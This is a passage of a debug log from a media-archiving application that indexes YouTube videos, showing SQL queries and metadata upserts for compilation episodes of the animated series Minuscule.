source="sources" db=0.3ms idle=848.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:49:06.495 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=849.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-02 18:00:50Z], 4] 00:49:06.527 [debug] QUERY OK source="media_items" db=30.5ms idle=850.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Wild Bunch | S01E74\n00:04:38 | Insect High Velocity | S01E53\n00:09:17 | The Ladybug | S01E01\n00:13:54 | Horsefly | S01E21\n00:18:35 | A Rolling Snail Gathers No Moss | S01E49\n00:23:11 | Catapult | S01E27\n00:27:58 | Some Weird Fly | S01E78\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#ladybug #flies #swarm #challenge #dragonfly #wasp #chase #engine #Minuscule #nature #insects #ladybugs #animatedseries", "The Wild Bunch | Minuscule 🍃 40' Compilation", "1259bd4d-e8b2-40d7-a94f-dbb0cd35f5c7", "KjAEj_jj7wE", 1979, false, 4, "https://www.youtube.com/watch?v=KjAEj_jj7wE", 32, "/downloads/Miniscule Season 1/2025-08-02 The Wild Bunch | Minuscule 🍃 40' Compilation/The Wild Bunch | Minuscule 🍃 40' Compilation [KjAEj_jj7wE].mkv", false, false, false, [], 1, ~U[2025-08-02 18:00:50Z], ~U[2025-12-14 07:49:06Z], ~U[2025-12-14 07:49:06Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Wild Bunch | S01E74\n00:04:38 | Insect High Velocity | S01E53\n00:09:17 | The Ladybug | S01E01\n00:13:54 | Horsefly | S01E21\n00:18:35 | A Rolling Snail Gathers No Moss | S01E49\n00:23:11 | Catapult | S01E27\n00:27:58 | Some Weird Fly | S01E78\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#ladybug #flies #swarm #challenge #dragonfly #wasp #chase #engine #Minuscule #nature #insects #ladybugs #animatedseries", "The Wild Bunch | Minuscule 🍃 40' Compilation", "KjAEj_jj7wE", 1979, false, 4, "https://www.youtube.com/watch?v=KjAEj_jj7wE", "/downloads/Miniscule Season 1/2025-08-02 The Wild Bunch | Minuscule 🍃 40' Compilation/The Wild Bunch | Minuscule 🍃 40' Compilation [KjAEj_jj7wE].mkv", false, ~U[2025-08-02 18:00:50Z]] 00:49:06.528 [debug] QUERY OK source="sources" db=0.5ms idle=308.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:49:06.529 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=35.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:49:06.530 [debug] QUERY OK source="media_items" db=0.6ms idle=35.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [94691] 00:49:06.530 [debug] Current batch of media processed. Will check again in 1000ms 00:49:07.531 [debug] Current batch of media processed. Will check again in 1000ms 00:49:08.532 [debug] Current batch of media processed. Will check again in 1000ms 00:49:09.533 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Cowardly Coward | S01E09\n00:04:49 | Yellow | S01E07\n00:09:37 | A Cruel World | S01E46\n00:14:26 | The Persevering One | S01E31\n00:19:07 | Halloween Paranoid | S01E43\n00:23:56 | The Caterpillar and the Brook | S01E08\n00:28:45 | A Snail’s Dream | S01E11\n00:33:34 | On Your Marks, get set, go ! | S01E75\n00:38:23 | A Rolling Snail Gathers No Moss | S01E49\n00:42:59 | Lettuce | S01E48\n00:47:46 | The Ladybug | S01E01\n00:52:22 | Some Weird Fly | S01E78\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#coward #centipede #bravery #cross #Centipede #Coward #Thunder #Shelter #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 3443, "filename" => "/downloads/Miniscule Season 1/2025-07-31 Cowardly Coward | Minuscule 🍃 70' Compilation/Cowardly Coward | Minuscule 🍃 70' Compilation [wnQdeDxfHko].mkv", "id" => "wnQdeDxfHko", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=wnQdeDxfHko", "playlist_index" => 33, "timestamp" => 1753956093, "title" => "Cowardly Coward | Minuscule 🍃 70' Compilation", "upload_date" => "20250731"} 00:49:09.534 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1888.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:49:09.535 [debug] QUERY OK source="sources" db=0.3ms idle=1889.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:49:09.536 [debug] QUERY OK source="media_items" db=1.0ms idle=1890.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-31 10:01:33Z], 4] 00:49:09.540 [debug] QUERY OK source="media_items" db=2.4ms idle=1315.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Cowardly Coward | S01E09\n00:04:49 | Yellow | S01E07\n00:09:37 | A Cruel World | S01E46\n00:14:26 | The Persevering One | S01E31\n00:19:07 | Halloween Paranoid | S01E43\n00:23:56 | The Caterpillar and the Brook | S01E08\n00:28:45 | A Snail’s Dream | S01E11\n00:33:34 | On Your Marks, get set, go ! | S01E75\n00:38:23 | A Rolling Snail Gathers No Moss | S01E49\n00:42:59 | Lettuce | S01E48\n00:47:46 | The Ladybug | S01E01\n00:52:22 | Some Weird Fly | S01E78\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#coward #centipede #bravery #cross #Centipede #Coward #Thunder #Shelter #Minuscule #nature #insects #ladybugs #animatedseries", "Cowardly Coward | Minuscule 🍃 70' Compilation", "e9c7cf3c-1b20-4a13-b239-bb750c00831f", "wnQdeDxfHko", 3443, false, 4, "https://www.youtube.com/watch?v=wnQdeDxfHko", 33, "/downloads/Miniscule Season 1/2025-07-31 Cowardly Coward | Minuscule 🍃 70' Compilation/Cowardly Coward | Minuscule 🍃 70' Compilation [wnQdeDxfHko].mkv", false, false, false, [], 1, ~U[2025-07-31 10:01:33Z], ~U[2025-12-14 07:49:09Z], ~U[2025-12-14 07:49:09Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Cowardly Coward | S01E09\n00:04:49 | Yellow | S01E07\n00:09:37 | A Cruel World | S01E46\n00:14:26 | The Persevering One | S01E31\n00:19:07 | Halloween Paranoid | S01E43\n00:23:56 | The Caterpillar and the Brook | S01E08\n00:28:45 | A Snail’s Dream | S01E11\n00:33:34 | On Your Marks, get set, go ! | S01E75\n00:38:23 | A Rolling Snail Gathers No Moss | S01E49\n00:42:59 | Lettuce | S01E48\n00:47:46 | The Ladybug | S01E01\n00:52:22 | Some Weird Fly | S01E78\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#coward #centipede #bravery #cross #Centipede #Coward #Thunder #Shelter #Minuscule #nature #insects #ladybugs #animatedseries", "Cowardly Coward | Minuscule 🍃 70' Compilation", "wnQdeDxfHko", 3443, false, 4, "https://www.youtube.com/watch?v=wnQdeDxfHko", "/downloads/Miniscule Season 1/2025-07-31 Cowardly Coward | Minuscule 🍃 70' Compilation/Cowardly Coward | Minuscule 🍃 70' Compilation [wnQdeDxfHko].mkv", false, ~U[2025-07-31 10:01:33Z]] 00:49:09.541 [debug] QUERY OK source="sources" db=0.4ms idle=316.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:49:09.541 [debug] QUERY OK source="media_profiles" db=0.3ms idle=6.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:49:09.542 [debug] QUERY OK source="media_items" db=0.4ms idle=6.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [94693] 00:49:09.543 [debug] Current batch of media processed. Will check again in 1000ms 00:49:10.544 [debug] Current batch of media processed. Will check again in 1000ms 00:49:11.545 [debug] Current batch of media processed. Will check again in 1000ms 00:49:12.546 [debug] Current batch of media processed. Will check again in 1000ms 00:49:13.547 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Catapult | S01E27\n00:04:47 | Hiccups | S01E26\n00:09:31 | The Wild Bunch | S01E74\n00:14:10 | Insect High Velocity | S01E53\n00:18:49 | The Dung Beetle Battle | S01E15\n00:23:34 | The Ladybug | S01E01\n00:28:10 | The Noodle Battle | S01E70\n00:32:45 | Ladybugs | S01E17\n00:37:24 | Horsefly | S01E21\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Catapult #grasshopper #jump #insects #hiccups #jumps #mechanics #Minuscule #nature #ladybugs #animatedseries", "duration" => 2557, "filename" => "/downloads/Miniscule Season 1/2025-07-26 Catapult | Minuscule 🍃 50' Compilation/Catapult | Minuscule 🍃 50' Compilation [PpEywicUI7Q].mkv", "id" => "PpEywicUI7Q", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=PpEywicUI7Q", "playlist_index" => 34, "timestamp" => 1753552853, "title" => "Catapult | Minuscule 🍃 50' Compilation", "upload_date" => "20250726"} 00:49:13.548 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=902.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:49:13.549 [debug] QUERY OK source="sources" db=0.4ms idle=903.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:49:13.551 [debug] QUERY OK source="media_items" db=1.0ms idle=904.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-26 18:00:53Z], 4] 00:49:13.568 [debug] QUERY OK source="media_items" db=16.7ms idle=906.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Catapult | S01E27\n00:04:47 | Hiccups | S01E26\n00:09:31 | The Wild Bunch | S01E74\n00:14:10 | Insect High Velocity | S01E53\n00:18:49 | The Dung Beetle Battle | S01E15\n00:23:34 | The Ladybug | S01E01\n00:28:10 | The Noodle Battle | S01E70\n00:32:45 | Ladybugs | S01E17\n00:37:24 | Horsefly | S01E21\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Catapult #grasshopper #jump #insects #hiccups #jumps #mechanics #Minuscule #nature #ladybugs #animatedseries", "Catapult | Minuscule 🍃 50' Compilation", "71bd9df1-78df-44fe-b88c-30ea926a5692", "PpEywicUI7Q", 2557, false, 4, "https://www.youtube.com/watch?v=PpEywicUI7Q", 34, "/downloads/Miniscule Season 1/2025-07-26 Catapult | Minuscule 🍃 50' Compilation/Catapult | Minuscule 🍃 50' Compilation [PpEywicUI7Q].mkv", false, false, false, [], 1, ~U[2025-07-26 18:00:53Z], ~U[2025-12-14 07:49:13Z], ~U[2025-12-14 07:49:13Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Catapult | S01E27\n00:04:47 | Hiccups | S01E26\n00:09:31 | The Wild Bunch | S01E74\n00:14:10 | Insect High Velocity | S01E53\n00:18:49 | The Dung Beetle Battle | S01E15\n00:23:34 | The Ladybug | S01E01\n00:28:10 | The Noodle Battle | S01E70\n00:32:45 | Ladybugs | S01E17\n00:37:24 | Horsefly | S01E21\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Catapult #grasshopper #jump #insects #hiccups #jumps #mechanics #Minuscule #nature #ladybugs #animatedseries", "Catapult | Minuscule 🍃 50' Compilation", "PpEywicUI7Q", 2557, false, 4, "https://www.youtube.com/watch?v=PpEywicUI7Q", "/downloads/Miniscule Season 1/2025-07-26 Catapult | Minuscule 🍃 50' Compilation/Catapult | Minuscule 🍃 50' Compilation [PpEywicUI7Q].mkv", false, ~U[2025-07-26 18:00:53Z]] 00:49:13.570 [debug] QUERY OK source="sources" db=0.6ms idle=336.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:49:13.570 [debug] QUERY OK source="media_profiles" db=0.4ms idle=21.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:49:13.571 [debug] QUERY OK source="media_items" db=0.6ms idle=21.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [94255] 00:49:13.572 [debug] Current batch of media processed. Will check again in 1000ms 00:49:14.573 [debug] Current batch of media processed. Will check again in 1000ms 00:49:15.574 [debug] Current batch of media processed. Will check again in 1000ms 00:49:16.575 [debug] Current batch of media processed. Will check again in 1000ms 00:49:17.576 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Apple Of Concord | S01E36\n00:04:46 | Caterpillars in Pairs | S01E06\n00:09:32 | City Caterpillar And Butterfly Of The Fields | S01E30\n00:14:16 | The Caterpillar Who Wanted To See The Ocean | S01E29\n00:19:04 | Leech | S01E73\n00:23:29 | Caterpillar Dream | S01E20\n00:28:18 | The Right Seed | S01E57\n00:33:04 | Shell-Less | S01E19\n00:37:47 | Lettuce | S01E48\n00:42:34 | Love Story | S01E03\n00:47:23 | A Cruel World | S01E46\n00:52:12 | The Caterpillar and the Brook | S01E08\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#caterpillar #friendship #apple #adventure #caterpillars #love #eggs #transformation #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 3452, "filename" => "/downloads/Miniscule Season 1/2025-07-22 The Apple Of Concord 🍎 Minuscule 🍃 70' Compilation/The Apple Of Concord 🍎 Minuscule 🍃 70' Compilation [8IewYmG_Z3U].mp4", "id" => "8IewYmG_Z3U", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=8IewYmG_Z3U", "playlist_index" => 35, "timestamp" => 1753164011, "title" => "The Apple Of Concord 🍎 Minuscule 🍃 70' Compilation", "upload_date" => "20250722"} 00:49:17.577 [debug] QUERY OK source="sources" db=0.4ms idle=931.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", 